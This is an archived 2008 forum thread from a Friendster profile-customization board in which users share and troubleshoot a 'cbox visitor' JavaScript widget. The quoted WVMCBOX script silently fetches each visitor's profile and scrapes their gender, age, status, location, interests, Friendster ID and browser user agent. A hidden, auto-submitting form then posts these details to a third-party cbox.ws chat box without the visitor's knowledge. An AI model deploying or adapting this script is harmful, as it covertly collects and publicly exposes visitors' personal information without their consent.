• ARCHIVES 
  • » whats the code for the cbox visitor pls?

Pages: 1

whats the code for the cbox visitor pls?

rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

whats the code for the cbox visitor pls?

whats the code for the cbox visitor pls?
simpleMe
» FTalkManiac
FTalk Level: zero
949
0
1969-12-31

Re: whats the code for the cbox visitor pls?

here =) <">edit this part :thumbsdown: [quote]["[b]www[/b]", "[b]XXXXXX[/b]", "[b]XXXX[/b]"][/quote] with your own cbox id :D just like what you did on your [b]whos right click cbox[/b] :D then paste that on your JS :D

Last edited by simpleMe (2008-05-14 08:04:45)

mhedge
» FTalkGeek
FTalk Level: zero
1027
0
1969-12-31

Re: whats the code for the cbox visitor pls?

HERE: <">then invite your friends to view your page! =) preview: [url]http://www.friendster.com/mhedge[/url] just wait it to load~!

Last edited by mhedge (2008-05-14 08:08:01)

simpleMe
» FTalkManiac
FTalk Level: zero
949
0
1969-12-31

Re: whats the code for the cbox visitor pls?

[b]@mhedge[/b] thats for overlay ryt? :D his using CSS dude :D
mhedge
» FTalkGeek
FTalk Level: zero
1027
0
1969-12-31

Re: whats the code for the cbox visitor pls?

Oopsss sorry..
rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

Re: whats the code for the cbox visitor pls?

[quote]i/** * WVMCBOX version 2.3.2 * Copyright 2007-2008 by FeRuZZ © http://profiles.friendster.com/feruzz * Timestamp: GMT+8 12.50AM May 11, 2008 * Free to use but not free to resell. * No warranty expressed or implied. Use at your own risk. **/ /* just get rid if you already have one */ if (pageViewerLangPref !== "en-US") { window.location.href = "http://" + location.hostname + "/" + pageOwnerID + "?lang=en-US&updatelang=1"; } /*global addEvent*/ addEvent = {}; (function () { addEvent = { load: function (obj, type, fn) { if (obj.addEventListener) { obj.addEventListener(type, fn, false); } else if (obj.attachEvent) { obj["e" + type + fn] = fn; obj[type + fn] = function () { obj["e" + type + fn](window.event); }; obj.attachEvent("on" + type, obj[type + fn]); } else { obj["on" + type] = obj["e" + type + fn]; } } }; })(); /*global WVMCBOX*/ WVMCBOX = {}; (function () { WVMCBOX = { //Private property div: null, date: Date().replace(/\([\S\s]*?\)/, ""), ifstyle: [ "100%", //width "300", //height "auto", //scrolling "yes" //allowtransparency ], base: { "cboxdiv": ["www5", "247316", "y5xt6x"] }, //null if not exist details: { gender: null, age: null, status: null, location: null, seek: null, since: null }, //get viewer details regexp: { gender: /q">([\S]*male)/i, age: /male,\s*([\d]*),/i, status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i, location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i, seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i, since: /Member\s*Since\:\s*<\/span>([\w]*?[\s][\d]*?)<\/li>/i }, init: function () { WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null); var refreshLocation = "window.wvm_submit.location.href=document.getElementById('wvm_submit').src"; window.setInterval(refreshLocation, 30 * 1000); }, viewer: function (htm) { if (htm.replace(/^\s*|\s*$/g, "") === "") { window.alert("ERROR: Empty xmlresponse! \n Unable to parse your details!"); return; } else if (htm) { for (var val in WVMCBOX.details) { if (typeof WVMCBOX.details[val] !== "function") { try { WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1]; } catch (e) { WVMCBOX.details[val] = ""; } } } if (WVMCBOX.details.seek === "") { WVMCBOX.details.seek = "Just looking around"; } for (var seeboks in WVMCBOX.base) { if (typeof WVMCBOX.base[seeboks] !== "function") { var htmlspaces = "&nb" + "sp;"; var htmlbulls = "&bu" + "ll;"; WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>" + "<div style=\"display:none\">" + "<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" + "<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" + "<input type=\"text\" name=\"eml\" value=\"http://" + location.hostname + "/" + pageViewerID + "\">" + "<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">" + WVMCBOX.date + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + WVMCBOX.details.status.replace(/<[\S]*?>/g, "") + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi, "Member Since: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.seek.replace(/^\s*[\S\s]*?/gi, "Interested In: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi, "Location: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + pageViewerID.replace(/^\s*[\d]*?/gi, "Friendster ID: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + navigator.appName.replace(/^\s*[\S\s]*?/gi, "Browser: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + navigator.userAgent + "</textarea>" + "</form>" + "</div>"; addNewBox.init("Visitors Info", "<div id=\"" + seeboks + "\" align=\"center\">" + WVMCBOX.div + "</div>", "wvmcbox", /friends/i, null); } } if ((pageViewerID !== pageOwnerID) && (pageViewerID !== "")) { if (document.wvmcboxform) { document.wvmcboxform.submit(); } else { document.getElementById("wvmcboxform").submit(); } } } }, ajaxRequest: function (type, url, async, param, func, handlerparam) { /** * ajaxRequest - You may not remove or change this notice. * version: 2.4.1 * Copyright 2008 by FeRuZZ © http://profiles.friendster.com/feruzz. * * @type: "GET" | "POST" * @async: true | false * @param: string | null * @func: string | null * @handlerparam: string | null **/ var httprequest = null; var requestDone = false; var data = null; var responseType = "text"; var timeout = 0; var ival = null; var onreadystatechange = {}; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x += 1) { try { httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest(); break; } catch (e) { if (async) { httprequest = null; } } } if (typeof func === "function") { onreadystatechange = function (isTimeout) { if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) { requestDone = true; if (ival) { window.clearInterval(ival); ival = null; } if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) { var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText; func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam); } } }; } if (async) { ival = window.setInterval(onreadystatechange, 13); if (timeout > 0) { window.setTimeout(function () { if (httprequest) { httprequest.abort(); if (!requestDone) { onreadystatechange("timeout"); } } }, timeout); } } if (type === "GET" && (/GET/i.test(type))) { var ts = new Date().getTime(); var ret = url.replace(/(\?|&)_=[\S\s]*?(&|$)/, "$1_=" + ts + "$2"); url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : ""); } if (data && type === "GET" && (/GET/i.test(type))) { url += (url.match(/\?/) ? "&" : "?") + data; data = null; } if (type === "POST" && (/POST/i.test(type))) { var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : ""); var contentLength = param ? param.length: 0; try { httprequest.setRequestHeader("Content-type", headers); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) { httprequest.setRequestHeader("Connection", "close"); } } catch (err) {} } httprequest.open(type, url, async); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"); httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*"); httprequest.send(param); if (!async) { onreadystatechange(); } } }; })(); /*global addNewBox*/ addNewBox = {}; (function () { addNewBox = { init: function (head, code, id, sibling, x) { var sbdiv = document.createElement("div"); sbdiv.className = "commonbox " + id; sbdiv.id = id; if (!head) { head = ""; } else { head = "<h2>" + head + "</h2>"; } sbdiv.innerHTML = head; sbdiv.appendChild(document.createElement("div")); sbdiv.getElementsByTagName("div")[0].id = "content_" + id; sbdiv.getElementsByTagName("div")[0].innerHTML = code; var sbli = document.createElement("li"); sbli.appendChild(sbdiv); if (!x) { addNewBox.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli); } else if (x === "below") { addNewBox.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli); } else if (x === "above") { var ul = addNewBox.getModuleByClassName(sibling)[0]; ul.parentNode.parentNode.insertBefore(sbli, ul.parentNode); } }, getModuleByClassName: function (sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j = 0, k = els.length; j < k; j += 1) { if (new RegExp(sClass).test(els[j].className)) { elm.push(els[j]); } } return elm; } }; })(); addEvent.load(window, "load", WVMCBOX.init);[/quote] this is my code i paste it in my js code and nothing hapend ?
simpleMe
» FTalkManiac
FTalk Level: zero
949
0
1969-12-31

Re: whats the code for the cbox visitor pls?

[quote=rebora2007]this is my code i paste it in my js code and nothing hapend ?[/quote] its bcoz youre using the cbox id of your [b]whos ryt click cbox[/b] sign up new account in cbox :D then posts your codes here :D
rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

Re: whats the code for the cbox visitor pls?

<">here is my cbox code :D
simpleMe
» FTalkManiac
FTalk Level: zero
949
0
1969-12-31

Re: whats the code for the cbox visitor pls?

here :D <">paste that on your JS :D
rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

Re: whats the code for the cbox visitor pls?

ok tnx how do i put visitors cos nothing inside my box lol :D

Last edited by rebora2007 (2008-05-14 08:24:14)

Chiny.12
» FTalkManiac
FTalk Level: zero
759
0
1969-12-31

Re: whats the code for the cbox visitor pls?

its for JS extension.:D not for overlay. but it can be. xD
rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

Re: whats the code for the cbox visitor pls?

ok tnx but 1 more thing can we change the background cos its white :D i want to transparent it :D
medic_droid
» n00b
FTalk Level: zero
50
0
1969-12-31

Re: whats the code for the cbox visitor pls?

hey how can it be put in js extension?
simpleMe
» FTalkManiac
FTalk Level: zero
949
0
1969-12-31

Re: whats the code for the cbox visitor pls?

[quote=medic_droid]ok tnx but 1 more thing can we change the background cos its white :D i want to transparent it :D[/quote] edit your cbox account :D

Last edited by simpleMe (2008-05-14 11:45:06)

rebora2007
» FTalkAddict
FTalk Level: zero
300
0
1969-12-31

Re: whats the code for the cbox visitor pls?

Here to resolved tnx for the help. :thumbsup:
feruzz
» Banned
FTalk Level: zero
1557
0
1969-12-31

Re: whats the code for the cbox visitor pls?

just click on my "siggy" for the latest :)
  • ARCHIVES 
  • » whats the code for the cbox visitor pls?

Pages: 1

Board footer

© 2024 F Talk

Current time is 05:05

[ 10 queries - 0.020 second ]
Privacy Policy